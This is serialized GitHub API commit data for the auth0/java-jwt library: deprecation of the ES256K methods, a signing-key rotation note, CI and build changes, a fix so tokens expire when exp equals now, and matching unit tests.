site_adminuj  }(j  	poovamrajj  J j  MDQ6VXNlcjE1OTEwNDI1j  4https://avatars.githubusercontent.com/u/15910425?v=4j  h3j  &https://api.github.com/users/poovamrajj  https://github.com/poovamrajj  0https://api.github.com/users/poovamraj/followersj  =https://api.github.com/users/poovamraj/following{/other_user}j  6https://api.github.com/users/poovamraj/gists{/gist_id}j  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}j  4https://api.github.com/users/poovamraj/subscriptionsj  +https://api.github.com/users/poovamraj/orgsj  ,https://api.github.com/users/poovamraj/reposj  7https://api.github.com/users/poovamraj/events{/privacy}j  6https://api.github.com/users/poovamraj/received_eventsj  Userj  uparents]}(j  (9d079de53bc53c9cac44560b4c348fe876379896j  \https://api.github.com/repos/auth0/java-jwt/commits/9d079de53bc53c9cac44560b4c348fe876379896j  Qhttps://github.com/auth0/java-jwt/commit/9d079de53bc53c9cac44560b4c348fe876379896uastats}(totalK	additionsK	deletionsK ufiles]}(j  (2e1904df14fe88e55de2c6c0d870e60a95e87468filename9lib/src/main/java/com/auth0/jwt/algorithms/Algorithm.javastatusmodifiedj  Kj  K changesKblob_urlhttps://github.com/auth0/java-jwt/blob/c32b3114c647dd8753481b9de3a4232a5dc90bcb/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.javaraw_urlhttps://github.com/auth0/java-jwt/raw/c32b3114c647dd8753481b9de3a4232a5dc90bcb/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.java?ref=c32b3114c647dd8753481b9de3a4232a5dc90bcbpatchX  @@ -183,7 +183,11 @@ public static Algorithm HMAC256(byte[] secret) throws IllegalArgumentException {
      * @param keyProvider the provider of the Public Key and Private Key for the verify and signing instance.
      * @return a valid ECDSA256 Algorithm.
      * @throws IllegalArgumentException if the Key Provider is null.
+     * @deprecated The SECP-256K1 Curve algorithm has been disabled beginning in Java 15.
+     * Use of this method in those unsupported Java versions will throw a {@link java.security.SignatureException}.
+     * This method will be removed in the next major version. See for additional information
      */
+    @Deprecated
     public static Algorithm ECDSA256K(ECDSAKeyProvider keyProvider) throws IllegalArgumentException {
         return new ECDSAAlgorithm("ES256K", "SHA256withECDSA", 32, keyProvider);
     }
@@ -195,7 +199,11 @@ public static Algorithm ECDSA256K(ECDSAKeyProvider keyProvider) throws IllegalAr
      * @param privateKey the key to use in the signing instance.
      * @return a valid ECDSA256 Algorithm.
      * @throws IllegalArgumentException if the provided Key is null.
+     * @deprecated The SECP-256K1 Curve algorithm has been disabled beginning in Java 15.
+     * Use of this method in those unsupported Java versions will throw a {@link java.security.SignatureException}.
+     * This method will be removed in the next major version. See for additional information
      */
+    @Deprecated
     public static Algorithm ECDSA256K(ECPublicKey publicKey, ECPrivateKey privateKey) throws IllegalArgumentException {
         return ECDSA256K(ECDSAAlgorithm.providerForKeys(publicKey, privateKey));
     }uau(7ce6697cd47c4a9c7bdf096f1bb875c4d8817304}(sha(7ce6697cd47c4a9c7bdf096f1bb875c4d8817304node_idEC_kwDOAQtL0doAKDdjZTY2OTdjZDQ3YzRhOWM3YmRmMDk2ZjFiYjg3NWM0ZDg4MTczMDQcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-03-23T18:58:49Zu	committer}(j  
Poovamraj T Tj
  poovamraj@gmail.comj  2022-03-23T18:58:49Zumessage
Trigger Buildtree}(j  (066e71bb3282fa0f033893563884a66c0168057eurl^https://api.github.com/repos/auth0/java-jwt/git/trees/066e71bb3282fa0f033893563884a66c0168057euj  `https://api.github.com/repos/auth0/java-jwt/git/commits/7ce6697cd47c4a9c7bdf096f1bb875c4d8817304
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj  \https://api.github.com/repos/auth0/java-jwt/commits/7ce6697cd47c4a9c7bdf096f1bb875c4d8817304html_urlQhttps://github.com/auth0/java-jwt/commit/7ce6697cd47c4a9c7bdf096f1bb875c4d8817304comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/7ce6697cd47c4a9c7bdf096f1bb875c4d8817304/commentsj	  }(login	poovamrajidJ j  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j  &https://api.github.com/users/poovamrajj'  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj  }(j,  	poovamrajj.  J j  MDQ6VXNlcjE1OTEwNDI1j0  4https://avatars.githubusercontent.com/u/15910425?v=4j2  h3j  &https://api.github.com/users/poovamrajj'  https://github.com/poovamrajj5  0https://api.github.com/users/poovamraj/followersj7  =https://api.github.com/users/poovamraj/following{/other_user}j9  6https://api.github.com/users/poovamraj/gists{/gist_id}j;  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}j=  4https://api.github.com/users/poovamraj/subscriptionsj?  +https://api.github.com/users/poovamraj/orgsjA  ,https://api.github.com/users/poovamraj/reposjC  7https://api.github.com/users/poovamraj/events{/privacy}jE  6https://api.github.com/users/poovamraj/received_eventsjG  UserjI  uparents]}(j  (367be43faa1a9db6f8437481eb417b910fa7b647j  \https://api.github.com/repos/auth0/java-jwt/commits/367be43faa1a9db6f8437481eb417b910fa7b647j'  Qhttps://github.com/auth0/java-jwt/commit/367be43faa1a9db6f8437481eb417b910fa7b647uastats}(totalK 	additionsK 	deletionsK ufiles]u(6a8ef68271f1c7eb32ee3fbf88538a183996fee5}(sha(6a8ef68271f1c7eb32ee3fbf88538a183996fee5node_idEC_kwDOAQtL0doAKDZhOGVmNjgyNzFmMWM3ZWIzMmVlM2ZiZjg4NTM4YTE4Mzk5NmZlZTUcommit}(author}(nameJim Andersonemailjim.anderson@auth0.comdate2023-01-31T02:04:53Zu	committer}(jq  GitHubjs  noreply@github.comju  2023-01-31T02:04:53Zumessage!Merge branch 'master' into mastertree}(ji  (2b61f528892201d3d3d13394349320b6e967c45curl^https://api.github.com/repos/auth0/java-jwt/git/trees/2b61f528892201d3d3d13394349320b6e967c45cuj  `https://api.github.com/repos/auth0/java-jwt/git/commits/6a8ef68271f1c7eb32ee3fbf88538a183996fee5
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJj2HdFCRBK7hj4Ov3rIwAABxMIAFXXz18Db2u2Tnp03YIW8Pt/
kskhPan5qtIHMCdCmKCMZeKhE8d2+0W1zrPXMxfj1puNlt83zBj9tlA2ela/bBwR
DPSU2cYe0oPUgd9FhHMQjlVuRoOaufkkeEStaQykgicP6zQBi7W0l0KN0Ldd7PE7
bfsCc1P1Kc4Lkl0+mkzgheG9501d20gYxEPzbOWwfikRPUhm1B26C5/Khy7C8+JV
Vj8cDo8mPF5GZe3e/xXm40LFe3hR0TzzBxsAzJzj6R2PJnoFpFemukYXpm5Hec6T
DMT/nuncdoDe3LVmEqWssn1WhQh+B3z9HQYmP5VhzOfqXohGX7cz0STgwm+xZbM=
=GxYG
-----END PGP SIGNATURE-----
payloadX%  tree 2b61f528892201d3d3d13394349320b6e967c45c
parent 37122ec9c0d8947e81223d82dec0cedf7e4a04a1
parent 12ae664a60d5e12d824c0896d5a82ef8522a8b69
author Jim Anderson <jim.anderson@auth0.com> 1675130693 -0600
committer GitHub <noreply@github.com> 1675130693 -0600

Merge branch 'master' into masteruuj  \https://api.github.com/repos/auth0/java-jwt/commits/6a8ef68271f1c7eb32ee3fbf88538a183996fee5html_urlQhttps://github.com/auth0/java-jwt/commit/6a8ef68271f1c7eb32ee3fbf88538a183996fee5comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/6a8ef68271f1c7eb32ee3fbf88538a183996fee5/commentsjo  }(login
jimmyjamesidJ7 jk  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j  'https://api.github.com/users/jimmyjamesj  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminujw  }(j  web-flowj  J/jk  MDQ6VXNlcjE5ODY0NDQ3j  4https://avatars.githubusercontent.com/u/19864447?v=4j  h3j  %https://api.github.com/users/web-flowj  https://github.com/web-flowj  /https://api.github.com/users/web-flow/followersj  <https://api.github.com/users/web-flow/following{/other_user}j  5https://api.github.com/users/web-flow/gists{/gist_id}j  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j  3https://api.github.com/users/web-flow/subscriptionsj  *https://api.github.com/users/web-flow/orgsj  +https://api.github.com/users/web-flow/reposj  6https://api.github.com/users/web-flow/events{/privacy}j  5https://api.github.com/users/web-flow/received_eventsj  Userj  uparents](}(ji  (37122ec9c0d8947e81223d82dec0cedf7e4a04a1j  \https://api.github.com/repos/auth0/java-jwt/commits/37122ec9c0d8947e81223d82dec0cedf7e4a04a1j  Qhttps://github.com/auth0/java-jwt/commit/37122ec9c0d8947e81223d82dec0cedf7e4a04a1u}(ji  (12ae664a60d5e12d824c0896d5a82ef8522a8b69j  \https://api.github.com/repos/auth0/java-jwt/commits/12ae664a60d5e12d824c0896d5a82ef8522a8b69j  Qhttps://github.com/auth0/java-jwt/commit/12ae664a60d5e12d824c0896d5a82ef8522a8b69uestats}(totalKg	additionsK9	deletionsK.ufiles](}(ji  (1675c39fbd79cf6eba87148e42511922dfdefdd4filename.circleci/config.ymlstatusmodifiedj  K j  KchangesKblob_urlfhttps://github.com/auth0/java-jwt/blob/6a8ef68271f1c7eb32ee3fbf88538a183996fee5/.circleci%2Fconfig.ymlraw_urlehttps://github.com/auth0/java-jwt/raw/6a8ef68271f1c7eb32ee3fbf88538a183996fee5/.circleci%2Fconfig.ymlcontents_urlxhttps://api.github.com/repos/auth0/java-jwt/contents/.circleci%2Fconfig.yml?ref=6a8ef68271f1c7eb32ee3fbf88538a183996fee5patchX  @@ -1,6 +1,5 @@
 version: 2.1
 orbs:
-  ship: auth0/ship@0
   codecov: codecov/codecov@3
 
 commands:
@@ -57,17 +56,6 @@ workflows:
   build-and-test:
     jobs:
       - build
-      - ship/java-publish:
-          prefix-tag: false
-          context:
-            - publish-gh
-            - publish-sonatype
-          filters:
-            branches:
-              only:
-                - master
-          requires:
-            - build
   api-diff:
     jobs:
       - api-diffu}(ji  (eaf3feec2b3755bab1128e719f293a26e39fb72cj  CHANGELOG.mdj  modifiedj  Kj  K j  Kj  \https://github.com/auth0/java-jwt/blob/6a8ef68271f1c7eb32ee3fbf88538a183996fee5/CHANGELOG.mdj  [https://github.com/auth0/java-jwt/raw/6a8ef68271f1c7eb32ee3fbf88538a183996fee5/CHANGELOG.mdj  nhttps://api.github.com/repos/auth0/java-jwt/contents/CHANGELOG.md?ref=6a8ef68271f1c7eb32ee3fbf88538a183996fee5j  Xs  @@ -1,5 +1,11 @@
 # Change Log
 
+## [4.2.2](https://github.com/auth0/java-jwt/tree/4.2.2) (2023-01-11)
+[Full Changelog](https://github.com/auth0/java-jwt/compare/4.2.1...4.2.2)
+
+This patch release does not contain any functional changes, but is being released using an updated signing key for verification as part of our commitment to best security practices.
+Please review [the README note for additional details.](https://github.com/auth0/java-jwt/blob/master/README.md)
+
 ## [4.2.1](https://github.com/auth0/java-jwt/tree/4.2.1) (2022-10-24)
 [Full Changelog](https://github.com/auth0/java-jwt/compare/4.2.0...4.2.1)
 u}(ji  (995e4c1d21b8ddc174ff58ed8c45183f062e9d75j  EXAMPLES.mdj  modifiedj  Kj  Kj  Kj  [https://github.com/auth0/java-jwt/blob/6a8ef68271f1c7eb32ee3fbf88538a183996fee5/EXAMPLES.mdj  Zhttps://github.com/auth0/java-jwt/raw/6a8ef68271f1c7eb32ee3fbf88538a183996fee5/EXAMPLES.mdj  mhttps://api.github.com/repos/auth0/java-jwt/contents/EXAMPLES.md?ref=6a8ef68271f1c7eb32ee3fbf88538a183996fee5j  @@ -127,4 +127,4 @@ RSAKeyProvider keyProvider = new RSAKeyProvider() {
 
 Algorithm algorithm = Algorithm.RSA256(keyProvider);
 //Use the Algorithm to create and verify JWTs.
-```
\ No newline at end of file
+```u}(ji  (bcd1854c4841162bbfc81048e40697bcb81eb5c1j  LICENSEj  modifiedj  Kj  Kj  Kj  Whttps://github.com/auth0/java-jwt/blob/6a8ef68271f1c7eb32ee3fbf88538a183996fee5/LICENSEj  Vhttps://github.com/auth0/java-jwt/raw/6a8ef68271f1c7eb32ee3fbf88538a183996fee5/LICENSEj  ihttps://api.github.com/repos/auth0/java-jwt/contents/LICENSE?ref=6a8ef68271f1c7eb32ee3fbf88538a183996fee5j  Xu  @@ -18,4 +18,4 @@ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
 AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
 OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
\ No newline at end of file
+SOFTWARE.u}(ji  (8583ed7af489606f15a387b99c3dcc4bab2d32e6j  	README.mdj  modifiedj  Kj  Kj  K	j  Yhttps://github.com/auth0/java-jwt/blob/6a8ef68271f1c7eb32ee3fbf88538a183996fee5/README.mdj  Xhttps://github.com/auth0/java-jwt/raw/6a8ef68271f1c7eb32ee3fbf88538a183996fee5/README.mdj  khttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=6a8ef68271f1c7eb32ee3fbf88538a183996fee5j  X  @@ -1,3 +1,8 @@
+> **Note**
+> As part of our ongoing commitment to best security practices, we have rotated the signing keys used to sign previous releases of this SDK. As a result, new patch builds have been released using the new signing key. Please upgrade at your earliest convenience.
+>
+> While this change won't affect most developers, if you have implemented a dependency signature validation step in your build process, you may notice a warning that past releases can't be verified. This is expected, and a result of the key rotation process. Updating to the latest version will resolve this for you.
+
 ![A Java implementation of JSON Web Token (JWT) - RFC 7519.](https://cdn.auth0.com/website/sdks/banners/java-jwt-banner.png)
 
 [![CircleCI](https://img.shields.io/circleci/project/github/auth0/java-jwt.svg?style=flat-square)](https://circleci.com/gh/auth0/java-jwt/tree/master)
@@ -45,14 +50,14 @@ Add the dependency via Maven:
 <dependency>
   <groupId>com.auth0</groupId>
   <artifactId>java-jwt</artifactId>
-  <version>4.2.1</version>
+  <version>4.2.2</version>
 </dependency>
 ```
 
 or Gradle:
 
 ```gradle
-implementation 'com.auth0:java-jwt:4.2.1'
+implementation 'com.auth0:java-jwt:4.2.2'
 ```
 
 ### Create a JWTu}(ji  (6190a239d18baff2d6e1d657f782544fae9e56abj  lib/build.gradle      j  modifiedj  K j  Kj  Kj  bhttps://github.com/auth0/java-jwt/blob/6a8ef68271f1c7eb32ee3fbf88538a183996fee5/lib%2Fbuild.gradlej  ahttps://github.com/auth0/java-jwt/raw/6a8ef68271f1c7eb32ee3fbf88538a183996fee5/lib%2Fbuild.gradlej  thttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=6a8ef68271f1c7eb32ee3fbf88538a183996fee5j  X7  @@ -1,6 +1,3 @@
-buildscript {
-    version = "4.2.1"
-}
 
 plugins {
     id 'java'
@@ -21,13 +18,6 @@ configurations {
     }
 }
 
-def signingKey = findProperty('signingKey')
-def signingKeyPwd = findProperty('signingPassword')
-
-signing {
-    useInMemoryPgpKeys(signingKey, signingKeyPwd)
-}
-
 checkstyle {
     toolVersion '10.0'
 }
@@ -47,7 +37,6 @@ oss {
     organization "auth0"
     description "Java implementation of JSON Web Token (JWT)"
     baselineCompareVersion "4.1.0"
-    skipAssertSigningConfiguration true
 
     developers {
         auth0 {u}(ji  (7ed83940224177f029a197072ad1b12bea76fc4cj  /lib/src/main/java/com/auth0/jwt/JWTCreator.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/6a8ef68271f1c7eb32ee3fbf88538a183996fee5/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javaj  https://github.com/auth0/java-jwt/raw/6a8ef68271f1c7eb32ee3fbf88538a183996fee5/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.java?ref=6a8ef68271f1c7eb32ee3fbf88538a183996fee5j  X  @@ -7,6 +7,7 @@
 import com.fasterxml.jackson.core.JsonProcessingException;
 import com.fasterxml.jackson.databind.MapperFeature;
 import com.fasterxml.jackson.databind.ObjectMapper;
+import com.fasterxml.jackson.databind.json.JsonMapper;
 import com.fasterxml.jackson.databind.module.SimpleModule;
 
 import java.nio.charset.StandardCharsets;
@@ -31,12 +32,14 @@ public final class JWTCreator {
     private static final SimpleModule module;
 
     static {
-        mapper = new ObjectMapper();
         module = new SimpleModule();
         module.addSerializer(PayloadClaimsHolder.class, new PayloadSerializer());
         module.addSerializer(HeaderClaimsHolder.class, new HeaderSerializer());
-        mapper.registerModule(module);
-        mapper.configure(MapperFeature.SORT_PROPERTIES_ALPHABETICALLY, true);
+
+        mapper = JsonMapper.builder()
+                .configure(MapperFeature.SORT_PROPERTIES_ALPHABETICALLY, true)
+                .build()
+                .registerModule(module);
     }
 
     private JWTCreator(Algorithm algorithm, Map<String, Object> headerClaims, Map<String, Object> payloadClaims)
@@ -489,7 +492,7 @@ private static boolean validateClaim(Map<?, ?> map) {
                     return false;
                 }
 
-                if (entry.getKey() == null || !(entry.getKey() instanceof String)) {
+                if (!(entry.getKey() instanceof String)) {
                     return false;
                 }
             }u}(ji  (6cec2026cab86481d3bd03852b2118b465f9860bj  0lib/src/main/java/com/auth0/jwt/JWTVerifier.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/6a8ef68271f1c7eb32ee3fbf88538a183996fee5/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javaj  https://github.com/auth0/java-jwt/raw/6a8ef68271f1c7eb32ee3fbf88538a183996fee5/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.java?ref=6a8ef68271f1c7eb32ee3fbf88538a183996fee5j  XG  @@ -346,7 +346,7 @@ private boolean assertValidInstantClaim(String claimName, Claim claim, long leew
                     throw new TokenExpiredException(String.format("The Token has expired on %s.", claimVal), claimVal);
                 }
             } else {
-                isValid = assertInstantIsPast(claimVal, leeway, now);
+                isValid = assertInstantIsLessThanOrEqualToNow(claimVal, leeway, now);
                 if (!isValid) {
                     throw new IncorrectClaimException(
                             String.format("The Token can't be used before %s.", claimVal), claimName, claim);
@@ -356,10 +356,10 @@ private boolean assertValidInstantClaim(String claimName, Claim claim, long leew
         }
 
         private boolean assertInstantIsFuture(Instant claimVal, long leeway, Instant now) {
-            return !(claimVal != null && now.minus(Duration.ofSeconds(leeway)).isAfter(claimVal));
+            return claimVal == null || now.minus(Duration.ofSeconds(leeway)).isBefore(claimVal);
         }
 
-        private boolean assertInstantIsPast(Instant claimVal, long leeway, Instant now) {
+        private boolean assertInstantIsLessThanOrEqualToNow(Instant claimVal, long leeway, Instant now) {
             return !(claimVal != null && now.plus(Duration.ofSeconds(leeway)).isBefore(claimVal));
         }
 u}(ji  (ca892e60ad4d2f6f7fd07621191f3460a5af2f98j  <lib/src/main/java/com/auth0/jwt/algorithms/RSAAlgorithm.javaj  modifiedj  K j  Kj  Kj  https://github.com/auth0/java-jwt/blob/6a8ef68271f1c7eb32ee3fbf88538a183996fee5/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithm.javaj  https://github.com/auth0/java-jwt/raw/6a8ef68271f1c7eb32ee3fbf88538a183996fee5/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithm.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithm.java?ref=6a8ef68271f1c7eb32ee3fbf88538a183996fee5j  X  @@ -5,7 +5,6 @@
 import com.auth0.jwt.interfaces.DecodedJWT;
 import com.auth0.jwt.interfaces.RSAKeyProvider;
 
-import java.nio.charset.StandardCharsets;
 import java.security.InvalidKeyException;
 import java.security.NoSuchAlgorithmException;
 import java.security.SignatureException;u}(ji  (32ede1de99417dd4fb2139cafdd833913d361c56j  9lib/src/test/java/com/auth0/jwt/ConcurrentVerifyTest.javaj  modifiedj  K j  Kj  Kj  https://github.com/auth0/java-jwt/blob/6a8ef68271f1c7eb32ee3fbf88538a183996fee5/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FConcurrentVerifyTest.javaj  https://github.com/auth0/java-jwt/raw/6a8ef68271f1c7eb32ee3fbf88538a183996fee5/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FConcurrentVerifyTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FConcurrentVerifyTest.java?ref=6a8ef68271f1c7eb32ee3fbf88538a183996fee5j  X  @@ -10,14 +10,11 @@
 import org.junit.rules.ExpectedException;
 
 import java.security.interfaces.ECKey;
-import java.security.interfaces.ECPrivateKey;
-import java.security.interfaces.ECPublicKey;
 import java.security.interfaces.RSAKey;
 import java.util.Collections;
 import java.util.List;
 import java.util.concurrent.*;
 
-import static com.auth0.jwt.PemUtils.readPrivateKeyFromFile;
 import static com.auth0.jwt.PemUtils.readPublicKeyFromFile;
 
 //@Ignore("Skipping concurrency tests")u}(ji  (8fc83b44da878b33d6d303efeaa9492b4387a2eaj  3lib/src/test/java/com/auth0/jwt/JWTCreatorTest.javaj  modifiedj  K j  Kj  Kj  https://github.com/auth0/java-jwt/blob/6a8ef68271f1c7eb32ee3fbf88538a183996fee5/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaj  https://github.com/auth0/java-jwt/raw/6a8ef68271f1c7eb32ee3fbf88538a183996fee5/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.java?ref=6a8ef68271f1c7eb32ee3fbf88538a183996fee5j  XM  @@ -16,9 +16,7 @@
 
 import static org.hamcrest.MatcherAssert.assertThat;
 import static org.hamcrest.Matchers.*;
-import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
-import static org.mockito.ArgumentMatchers.eq;
 import static org.mockito.Mockito.mock;
 import static org.mockito.Mockito.when;
 u}(ji  (087f1e9ed7f245ffadbb9ced51b0e663f01131dbj  ,lib/src/test/java/com/auth0/jwt/JWTTest.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/6a8ef68271f1c7eb32ee3fbf88538a183996fee5/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.javaj  https://github.com/auth0/java-jwt/raw/6a8ef68271f1c7eb32ee3fbf88538a183996fee5/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.java?ref=6a8ef68271f1c7eb32ee3fbf88538a183996fee5j  X  @@ -12,6 +12,7 @@
 import java.security.interfaces.ECKey;
 import java.security.interfaces.RSAKey;
 import java.time.Clock;
+import java.time.Duration;
 import java.time.Instant;
 import java.time.ZoneId;
 import java.util.Base64;
@@ -270,12 +271,12 @@ public void shouldGetStringAudience() {
     @Test
     public void shouldGetExpirationTime() {
         long seconds = 1477592L;
-        Clock clock = Clock.fixed(Instant.ofEpochSecond(seconds), ZoneId.of("UTC"));
+        Clock mockNow = Clock.fixed(Instant.ofEpochSecond(seconds - 1), ZoneId.of("UTC"));
 
         String token = "eyJhbGciOiJIUzI1NiJ9.eyJleHAiOjE0Nzc1OTJ9.x_ZjkPkKYUV5tdvc0l8go6D_z2kez1MQcOxokXrDc3k";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWT.require(Algorithm.HMAC256("secret"));
         DecodedJWT jwt = verification
-                .build(clock)
+                .build(mockNow)
                 .verify(token);
 
         assertThat(jwt, is(notNullValue()));u}(ji  (5a784b87c0dff4fa4113c5a952cabb22e98f7464j  4lib/src/test/java/com/auth0/jwt/JWTVerifierTest.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/6a8ef68271f1c7eb32ee3fbf88538a183996fee5/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.javaj  https://github.com/auth0/java-jwt/raw/6a8ef68271f1c7eb32ee3fbf88538a183996fee5/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.java?ref=6a8ef68271f1c7eb32ee3fbf88538a183996fee5j  X  @@ -657,6 +657,7 @@ public void shouldThrowOnNegativeCustomLeeway() {
     }
 
     // Expires At
+
     @Test
     public void shouldValidateExpiresAtWithLeeway() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE0Nzc1OTJ9.isvT0Pqx0yjnZk53mUFSeYFJLDs-Ls9IsNAm86gIdZo";
@@ -674,12 +675,26 @@ public void shouldValidateExpiresAtIfPresent() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE0Nzc1OTJ9.isvT0Pqx0yjnZk53mUFSeYFJLDs-Ls9IsNAm86gIdZo";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
         DecodedJWT jwt = verification
-                .build(mockNow)
+                .build(mockOneSecondEarlier)
                 .verify(token);
 
         assertThat(jwt, is(notNullValue()));
     }
 
+    @Test
+    public void shouldThrowWhenExpiresAtIsNow() {
+        // exp must be > now
+        TokenExpiredException e = assertThrows(null, TokenExpiredException.class, () -> {
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE0Nzc1OTJ9.isvT0Pqx0yjnZk53mUFSeYFJLDs-Ls9IsNAm86gIdZo";
+            JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
+            verification
+                    .build(mockNow)
+                    .verify(token);
+        });
+        assertThat(e.getMessage(), is("The Token has expired on 1970-01-18T02:26:32Z."));
+        assertThat(e.getExpiredOn(), is(Instant.ofEpochSecond(1477592L)));
+    }
+
     @Test
     public void shouldThrowOnInvalidExpiresAtIfPresent() {
         TokenExpiredException e = assertThrows(null, TokenExpiredException.class, () -> {
@@ -731,7 +746,18 @@ public void shouldThrowOnInvalidNotBeforeIfPresent() {
 
     @Test
     public void shouldValidateNotBeforeIfPresent() {
-        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE0Nzc1OTJ9.isvT0Pqx0yjnZk53mUFSeYFJLDs-Ls9IsNAm86gIdZo";
+        String token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYmYiOjE0Nzc1OTN9.f4zVV0TbbTG5xxDjSoGZ320JIMchGoQCWrnT5MyQdT0";
+        JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
+        DecodedJWT jwt = verification
+                .build(mockOneSecondLater)
+                .verify(token);
+
+        assertThat(jwt, is(notNullValue()));
+    }
+
+    @Test
+    public void shouldAcceptNotBeforeEqualToNow() {
+        String token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYmYiOjE0Nzc1OTJ9.71XBtRmkAa4iKnyhbS4NPW-Xr26eAVAdHZgmupS7a5o";
